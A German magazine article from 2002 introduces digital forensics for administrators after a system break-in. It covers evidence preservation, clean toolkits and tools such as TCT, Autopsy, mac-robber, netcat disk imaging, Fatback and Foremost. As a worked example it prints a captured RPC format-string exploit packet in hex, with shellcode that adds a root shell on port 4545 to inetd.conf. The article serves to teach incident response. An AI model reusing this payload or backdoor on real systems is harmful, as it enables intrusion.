Digitale Forensik: Aus der Analyse von Systemeinbrüchen lernen

Alexander Geschonneck 1

Fast jede Organisation wurde bereits mit der Frage eines erfolgreichen Systemeinbruchs konfrontiert. Auch Privatpersonen, die sich mit ihrem PC mit dem Internet verbinden, beschleicht zuweilen ein diesbezügliches unsicheres Gefühl. Die wenigsten sind gut darauf vorbereitet. Will man Sicherheitsprobleme vermeiden oder ermitteln, ob noch andere Systeme der eigenen Umgebung Opfer eines Angriffs geworden sind, ist es sinnvoll so genannte forensische Untersuchungen durchzuführen. Hierbei geht es u.a. darum, herauszufinden, ob ein Angreifer wirklich erfolgreich war, welchen Weg der Angreifer genommen und welche Systemlücken zu diesem Einbruch geführt haben könnten. Das Internet und aktuelle IT-Publikationen sind voll von Tipps und Tricks zum Absichern von Systemen und Kommunikationswegen, viele Dinge werden von den Administratoren umgesetzt, dennoch kommt es zu Einbrüchen.

Dieser Artikel soll dem technisch versierten Administrator einen ersten Überblick geben, welche Maßnahmen sinnvoll sind und welche Werkzeuge zur Verfügung stehen. Wer aber nicht weiß, was er da gerade tut, sollte lieber die eigenen Finger von solchen Untersuchungen lassen, da sonst wichtige Beweise vernichtet werden oder das eigene System gänzlich unbrauchbar gemacht werden kann.

Forensische Untersuchungen finden in der Regel dann statt, wenn es ernst zu nehmende Hinweise auf erfolgte oder gerade ablaufende Angriffe auf die eigene Systemlandschaft gibt. Überdurchschnittlich hoher Netzverkehr in das eigene Netz hinein oder aus dem eigenen Netz heraus, sowie eine ungewöhnlich hohe Anzahl von Firewall-Regelverstößen (besonders ausgehend) sollten den Verdacht des Administrators wecken. Natürlich sind hier auch die Ergebnisse von Intrusion Detection- oder Auditing-Systemen heranzuziehen. Weiterhin sollte man aufmerksam werden, wenn sich Anwender über unge-wöhnlich hohe Systemlast oder „plötzlich“ beendete Dienste auf einem System beschweren. Finden sich zusätzlich unbekannte Userkennungen, Dateien oder Prozesse auf diesem Server, sollten auch hier weitergehende Untersuchungen gestartet werden.

Hat ein Angreifer ein Rootkit installiert, das Systembefehle austauscht und damit verdächtige Aktivitäten versteckt, ist den Informationen, die dem kompromittierten System entnommen werden können, allerdings kein Glauben mehr zu schenken.

Viele Organisationen erfahren auch von externen Quellen, dass sie höchstwahrscheinlich Opfer eines Angriffes geworden sind. Diese externen Quellen sind zum Beispiel die eigenen Kunden und Geschäftspartner, Strafverfolgungsbehörden, die Presse, externe Computer Incident Response Teams oder Intrusion Mapping Systeme (z.B. www.dshield.org).

IDS-Syslog-Meldung:

Nov 7 23:11:06 victim snort[1260]: RPC Info Query: 216.216.74.2:963 -> 172.16.1.107:111
Nov 7 23:11:31 victim snort[1260]: spp_portscan: portscan status from 216.216.74.2: 2 connections across 1 hosts: TCP(2), UDP(0)
Nov 7 23:11:31 victim snort[1260]: IDS08 - TELNET - daemon-active: 172.16.1.101:23 -> 216.216.74.2:1209
Nov 7 23:11:34 victim snort[1260]: IDS08 - TELNET - daemon-active: 172.16.1.101:23 -> 216.216.74.2:1210
Nov 7 23:11:47 victim snort[1260]: spp_portscan: portscan status from 216.216.74.2: 2 connections across 2 hosts: TCP(2), UDP(0)
Nov 7 23:11:51 victim snort[1260]: IDS15 - RPC - portmap-request-status: 216.216.74.2:709 -> 172.16.1.107:111
Nov 7 23:11:51 victim snort[1260]: IDS362 - MISC - Shellcode X86 NOPS-UDP: 216.216.74.2:710 -> 172.16.1.107:871

IDS-Mitschnitt des RPC-Angriffs:

11/07-23:11:50.870124 216.216.74.2:710 -> 172.16.1.107:871
UDP TTL:42 TOS:0x0 ID:16143
Len: 456
3E D1 BA B6 00 00 00 00 00 00 00 02 00 01 86 B8  >...............
00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 01 67 04 F7 FF BF  ...........g....
04 F7 FF BF 05 F7 FF BF 05 F7 FF BF 06 F7 FF BF  ................
06 F7 FF BF 07 F7 FF BF 07 F7 FF BF 25 30 38 78  ............%08x
20 25 30 38 78 20 25 30 38 78 20 25 30 38 78 20   %08x %08x %08x
25 30 38 78 20 25 30 38 78 20 25 30 38 78 20 25  %08x %08x %08x %
30 38 78 20 25 30 38 78 20 25 30 38 78 20 25 30  08x %08x %08x %0
38 78 20 25 30 38 78 20 25 30 38 78 20 25 30 38  8x %08x %08x %08
78 20 25 30 32 34 32 78 25 6E 25 30 35 35 78 25  x %0242x%n%055x%
6E 25 30 31 32 78 25 6E 25 30 31 39 32 78 25 6E  n%012x%n%0192x%n
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 EB 4B 5E 89 76 AC 83 EE 20 8D 5E 28 83 C6  ...K^.v... .^(..
20 89 5E B0 83 EE 20 8D 5E 2E 83 C6 20 83 C3 20   .^... .^... ..
83 EB 23 89 5E B4 31 C0 83 EE 20 88 46 27 88 46  ..#.^.1... .F’.F
2A 83 C6 20 88 46 AB 89 46 B8 B0 2B 2C 20 89 F3  *.. .F..F..+, ..
8D 4E AC 8D 56 B8 CD 80 31 DB 89 D8 40 CD 80 E8  .N..V...1...@...
B0 FF FF FF 2F 62 69 6E 2F 73 68 20 2D 63 20 65  ..../bin/sh -c e
63 68 6F 20 34 35 34 35 20 73 74 72 65 61 6D 20  cho 4545 stream
74 63 70 20 6E 6F 77 61 69 74 20 72 6F 6F 74 20  tcp nowait root
2F 62 69 6E 2F 73 68 20 73 68 20 2D 69 20 3E 3E  /bin/sh sh -i >
20 2F 65 74 63 2F 69 6E 65 74 64 2E 63 6F 6E 66   /etc/inetd.conf
3B 6B 69 6C 6C 61 6C 6C 20 2D 48 55 50 20 69 6E  ;killall -HUP in
65 74 64 00 00 00 00 09 6C 6F 63 61 6C 68 6F 73  etd.....localhos
74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  t...............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Abbildung 1:
Klassischer Ablauf: Portscan, RPC-Probe, Systemidentifikation auf Telnet-Port und dann Angriff auf den gefundenen Portmapper, Versuch der Installation einer Root-Shell auf Port 4545 (Daten von http://project.honeynet.org/).

Die ersten Schritte bei der Analyse eines Sicherheitsvorfalles können entscheidend sein für die Qualität des Untersuchungsergebnisses. Macht man hier Fehler, können entweder wichtige Beweise zerstört oder deren Verwendung bei der strafrechtlichen Verfolgung erheblich eingeschränkt werden. Das Untersuchungsteam sollte so klein wie möglich sein, die Mitglieder namentlich benannt werden. Für dieses Team oder den konkreten Vorfall sollte es einen Koordinator geben. Zu Beginn der Analyse sollte ein Protokoll angefertigt werden, in dem alle durchgeführten Schritte zu vermerken sind. Mitunter kommt es bei der Bewertung der Untersuchungsergebnisse vor Gericht auf jedes einzelne Detail an. Jeder Schritt, der zu einer weiteren Erkenntnis führt, muss durch eine zweite Person bezeugt werden.

Ein wichtiger Grundsatz ist, dass man Änderungen am Originalsystem so weit wie möglich vermeidet. Sobald der Verdacht eines Sicherheitsvorfalles besteht, sollte im Rahmen der aktuellen Situation jede weitere normale Arbeit am System beendet werden. Zu beachten ist, dass ein übereiltes Ausschalten des Systems wichtige Hinweise über den aktuellen Zustand des Systems vernichten kann. Ein Entfernen des betroffenen Systems vom Netzwerk ist hier sinnvoller.

Zu beachten ist auch, dass eine erweiterte Datenanalyse mit den nachfolgend beschriebenen Zusatzwerkzeugen nur an einer Kopie des kompromittierten Systems durchgeführt werden sollte. Die Gefahr der Zerstörung essentieller Beweise ist zu groß. Aus diesem Grund sollten die Daten zunächst gesammelt und erst später analysiert werden. Um im Nachhinein eine Unversehrtheit der Daten nachweisen zu können, sollte man SHA1- oder MD5-Prüfsummen erzeugen. Tools wie grave-robber, autopsy und IRCR erstellen diese Prüfsummen automatisch.

Die Daten sollten in der Reihenfolge ihrer Halbwerts-zeit gesichert werden. Als erstes ist hier der Inhalt des Caches zu nennen, dann folgen die Sicherung des Hauptspeicherinhaltes, Informationen über den Netzwerkstatus (offene Ports, aktive Verbindungen, gerade beendete Verbindungen etc.) und laufende Prozesse (alle Informationen: Mutterprozesse, Eigentümer, Prozessorzeiten, Aufrufparameter etc.). Wichtig ist auch der Inhalt des proc-Filesystems, da sich hier die Binaries der laufenden Programme befinden. Wenn ein Programm nach dem Start gelöscht wurde, kann man es dort finden (Beispiel: # /mnt/cdrom/forensic/bin/cat /proc/PID/exe > filename).

Zum Schluss werden vom betroffenen System die Informationen der Festplatten gesichert. Dieses kann sowohl offline, als auch online geschehen. Gesichert werden sollte mit dem Unix-Tool dd (unter http://www.sans.org/webcasts/dd/index.htm auch für Windows verfügbar), da damit ein bitweises Kopieren möglich ist. Bei einer Sicherung auf Dateiebene würden viele wichtige Informationen verloren gehen. Die Sicherung kann – wenn genug Platz auf einem zusätzlichen Datenträger vorhanden ist – sowohl lokal, als auch über das Netz geschehen. Hierbei ist zu beachten, dass der Status des Systems bei beiden Sicherungsweisen verändert wird. Dieses sollte man bei der Auswertung der gewonnenen Informationen im Hinterkopf behalten. Die Art und Weise der Datensicherung sollte deswegen dokumentiert werden.

Unter einem Unix-Betriebssystem stehen einem Analysten viele Möglichkeiten zur Verfügung, um einen aktuellen Status der laufenden Umgebung zu erfassen. Solche Befehle sind z.B. last, who, ps, netstat, arp und lsof. Lsof bewährt sich häufig, wenn es darum geht, herauszufinden, welche Dateien von welchem Prozess geöffnet sind. Lsof ist dabei nicht nur auf „normale“ Dateien eingeschränkt. Es können sowohl Informationen über Block- und Character-Devices, als auch über Libraries, Streams oder Netzwerkdateien abgefragt werden. Lsof befindet sich aber nicht im Lieferumfang aller Unix-Systeme.

Die verwendeten Tools sollten vorher auf sauberen Systemen kompiliert und auf sauberen Medien gespeichert werden, da die auf dem kompromittierten System befindlichen Tools höchstwahrscheinlich vom Angreifer ausgetauscht wurden. Für die post mortale Analyse lassen sich u.a. spezielle Linux-Distributionen wie Trinux (http://www.trinux.org), Biatchux (http://biatchux.sourceforge.net) oder Knoppix (http://www.kopper.net) verwenden, da sie komplett von Floppy oder CD-ROM gebootet werden können. Biatchux bietet zusätzlich die Möglichkeit, das zu untersuchende System noch zur Laufzeit mit statisch vorkompilierten Binaries zu untersuchen. Systembefehle für Solaris, Linux und Windows sind bereits enthalten. Bei der Verwendung der bootbaren Linux-Distributionen ist aber darauf zu achten, dass eventuell vorhandene lokale Swap-Partitionen nicht verwendet werden, da sich dort mitunter noch Hinweise finden lassen.

Abb. 2

Abbildung 2:
Biatchux: „saubere“ Solaris, Win32 und Linux Binaries zuzüglich einiger Forensic-Tools

Einige Zusatzwerkzeuge helfen dem geübten Spezialisten, einem gehackten System wertvolle Informationen zu entlocken:

The Coroners Toolkit (TCT) von Dan Farmer und Wietse Venema  (www.porcupine.org/forensics/tct.html) liefert Kommandozeilentools, die die post mortale Untersuchung eines Unix-Systems ermöglichen. Es ermöglicht auch die Analyse von Inodes oder ganzen Blöcken von ufs- und extfs-Dateisystemen:

TCTUTILs von Brian Carrier (http://www.atstake.com/research/tools/task/) ergänzt das TCT um weitere Systemanalyse-Tools für die Untersuchung kompromittierter Dateisysteme:

Der Autopsy Forensic Browser, ebenfalls von Brian Carrier, (http://www.cerias.purdue.edu/homes/carrier/forensics bzw. in der neueren Version 1.60 unter http://www.atstake.com/research/tools/autopsy/) ist ein HTML-Interface, das die Tools aus TCT und TCTUTILs mit Standard Unix Werkzeugen (strings, md5sum, grep etc.) wirkungsvoll verbindet. Ein kompromittiertes Dateisystem kann als Image oder auf Block- bzw. Inode-Ebene untersucht werden. Autopsy enthält keine eigenen Forensic-Tools, sondern fasst Werkzeuge anderer Pakete sinnvoll zusammen.

Abb. 3

Abbildung 3:
Autopsy: Suche nach dem Wort „linsniff“ in ungenutzten Inodes

Abb. 4

Abbildung 4:
Autopsy: Anzeige von Dateien. Hier: Inhalte von Rootkit-Dateien unter /dev/ida/.drag-on

Abb. 5

Abbildung 5:
Autopsy: Anzeige des Inhalts und Export von gelöschten Dateien. Hier: ein vollständiges Rootkit TAR File

Abb. 6

Abbildung 6:
Autopsy: Timeline-Analyse. Hier: zeitlicher Ablauf einer Rootkit-Installation

Netcat (nc) ist ein universelles Tool, um u.a. Daten einfach über ein Netz zu transportieren. Netcat kann unter http://www.atstake.com/research/tools/nc110.tgz heruntergeladen werden. Bei der Übertragung vertraulicher Daten über ungesicherte Netze sollte auf Cryptcat (http://farm9.com/content/Free_Tools/Cryptcat) zurückgegriffen werden.

Beispiel:

# dd if=/dev/hda2 | nc 10.0.0.1 8000
(der komplette Inhalt der Partition hda2 wird mittels netcat an ein anderes System auf Port 8000 gesendet)

Auf dem Zielsystem 10.0.0.1 sollte dann zum Abspeichern des Datenstroms folgender Befehl verwendet werden:
# nc -l -p 8000 |dd of=/forensic/image.hda2

Abbildung 7: Erstellen von Diskimages über ein Netzwerk

Mac-robber von Brian Carrier ist ein Forensic und Response Tool, das Modified, Access und Change-Times (MAC) von Dateien und Verzeichnissen sammelt. Das verwendete Zeitformat ist mit dem von The Coroners Toolkit (TCT) identisch und kann gleich damit weiterverwendet werden. Mac-robber basiert auf dem Werkzeug grave-robber aus dem TCT. Im Gegensatz zu grave-robber aus dem TCT ist Mac-robber nicht in Perl, sondern in C geschrieben. Dadurch ist es leicht auf andere Plattformen portierbar. Mac-robber kann auf einem „sauberen“ System statisch vorkompiliert und auf eine IR-CD bzw. -Floppy kopiert werden. Durch Kombination mit Netcat bzw. Cryptcat ist der Einsatz über ein Netzwerk möglich.

Beispiele:

# mac-robber /var/log > data/var_log.mac
(mac-robber analysiert das Verzeichnis /var/log und sendet die Ausgabe in eine Datei)

# mac-robber /var/log | nc 10.0.0.1 8000
(mac-robber analysiert das Verzeichnis und sendet die Ausgabe mittels netcat an ein anderes System auf Port 8000)

Auf dem System 10.0.0.1 sollte dann folgender Befehl verwendet werden:
# nc -l -p 8000 > /forensic/var_log.mac

Um die Daten zu analysieren, wird das mactime Tool aus dem TCT benötigt. Es werden alle Dateien angezeigt, deren MAC-Time sich seit dem angegebenen Datum geändert haben.

# mactime -b /forensic/var_log.mac 01/01/2002
 (date      time     size   MAC   perms    owner    group   file)
 [....]
 Jan 05 02 04:05:00 5506499 m.. -rw-rw-rw- root     mailman /var/log/syslog.7
 Jan 10 02 04:05:00 6389017 m.. -rw-rw-rw- root     mailman /var/log/syslog.6
 Jan 12 02 01:04:39    3978 .a. -rw------- root     mailman /var/log/arclog
 Jan 12 02 14:10:15    3978 m.c -rw------- root     mailman /var/log/arclog
 [....]

Abbildung 8: Analyse der MAC-Time mit mac-robber

Mit dem Forensic ToolKit von NT OBJECTives (www.ntobjectives.com) kann man einen forensischen Snapshot von Microsoft Windows Systemen erzeugen. Es enthält folgende Tools:

Der Incident Response Collection Report (IRCR) ist in den Grundzügen dem Coroner’s Toolkit (TCT) ähnlich. Dieses Programm sammelt mit diversen Tools forensische Daten von Microsoft Windows Systemen. Das Ergebnis wird als HTML-Output erstellt.

Abb. 9

Abbildung 9:
Incident Response Collection Report (IRCR)

Abb. 10

Abbildung 10: IRCR-Ausgabe

Mit Fatback von Nicholas Harbour (Department of Defense Computer Forensics Lab) hat man auch unter Unix die Möglichkeit, FAT-Partitionen zu untersuchen und gelöschte Dateien sichtbar zu machen. Dies funktioniert unter Unix analog zum DOS-Befehl undelete.

# fatback morgue/image2.dd

Running Fatback v1.3
Command Line: fatback morgue/image2.dd
Time: Tue Apr 16 08:28:52 2002
uname: Linux Ripper 2.4.18 #1 Fri Mar 15 12:40:44 CET 2002 i686
Working Dir: /usr/local/forensic
Unable to map partitions
1 characters of the OEM name in the VBR are invalid
The VBR reports no hidden sectors
oem_name: mkdosfs
bytes_per_sect: 512
reserved_sects: 1
fat_copies: 2
max_rdir_entries: 512
total_sects_s: 0
media_descriptor: f8
sects_per_fat: 125
sects_per_track: 32
num_heads: 8
hidden_sects: 0
total_sects_l: 127968
serial_num: 3c7e78de
fs_id: FAT16   
Filesystem type is FAT16
Rood dir location: 0
fatback> ls
??? Mar 15 09:49:54 2002      20480 ?ONFUS~1.C confuse_router.c
??? Mar 15 09:49:54 2002     278638 ?RAGRO~1.TGZ fragrouter.tgz
Sun Mar 15 09:49:52 2002       5942 ?BNBS.C
Sun Mar 15 09:50:22 2002      61897 ?MBAT-~1.GZ smbat-src-1.0.5.tar.gz
Sun Mar 15 09:50:22 2002      43398 ?MBPRO~1.TGZ smbproxy-src-1.0.0.tgz
Sun Mar 15 09:49:54 2002        315 ?RIPWI~1 tripwire-check
fatback>

Abbildung 11: undelete von FAT-Partitionen unter Unix

Abb. 12

Abbildung 12:
Foremost: Rekonstruktion gelöschter Dateien.
Hier: Rekonstruktion von Bildern, die mit einer Digitalkamera auf einer CF-Karte erstellt und wieder gelöscht wurden

Kris Kendall und Jesse Kornblum vom Air Force Office of Special Investigations haben das Tool Foremost entwickelt. Dieses Programm kann unter Unix durch Auswertung von Header- und Footerinformationen entsprechend erkannte Dateitypen aus einem dd-Image rekonstruieren.

Es ist aber auch wichtig, dass man für die Analyse Zugriff auf Logfiles zusätzlicher Sicherheitstechnik hat. Hierzu zählen neben Firewall- und Logfiles auch die Protokolle von Intrusion Detection Systemen.

Uns stehen heute innovative und sehr effektive Tools zur Unterstützung bei der Aufklärung von Systemein- brüchen zur Verfügung. Die durchzuführenden Tätigkeiten hingegen sind nicht neu. Die Verfügbarkeit dieser komfortablen Werkzeuge darf aber nicht darüber hinwegtäuschen, dass eine sinnvolle Sicherheitsvorfall-Behandlungsstrategie schon der halbe Weg zur erfolgreichen Aufklärung von Systemeinbrüchen sein kann.


1 Alexander Geschonneck ist seit 1998 als Senior Security Consultant bei der HiSolutions AG für eine Vielzahl technischer und organisatorischer Sicherheitsanalysen verantwortlich. Privat betreibt er unter http://geschonneck.com eine Security Informationssammlung.


TopSeitenanfang | ZIDline 7 - Oktober 2002 | ZID | TU Wien

Counter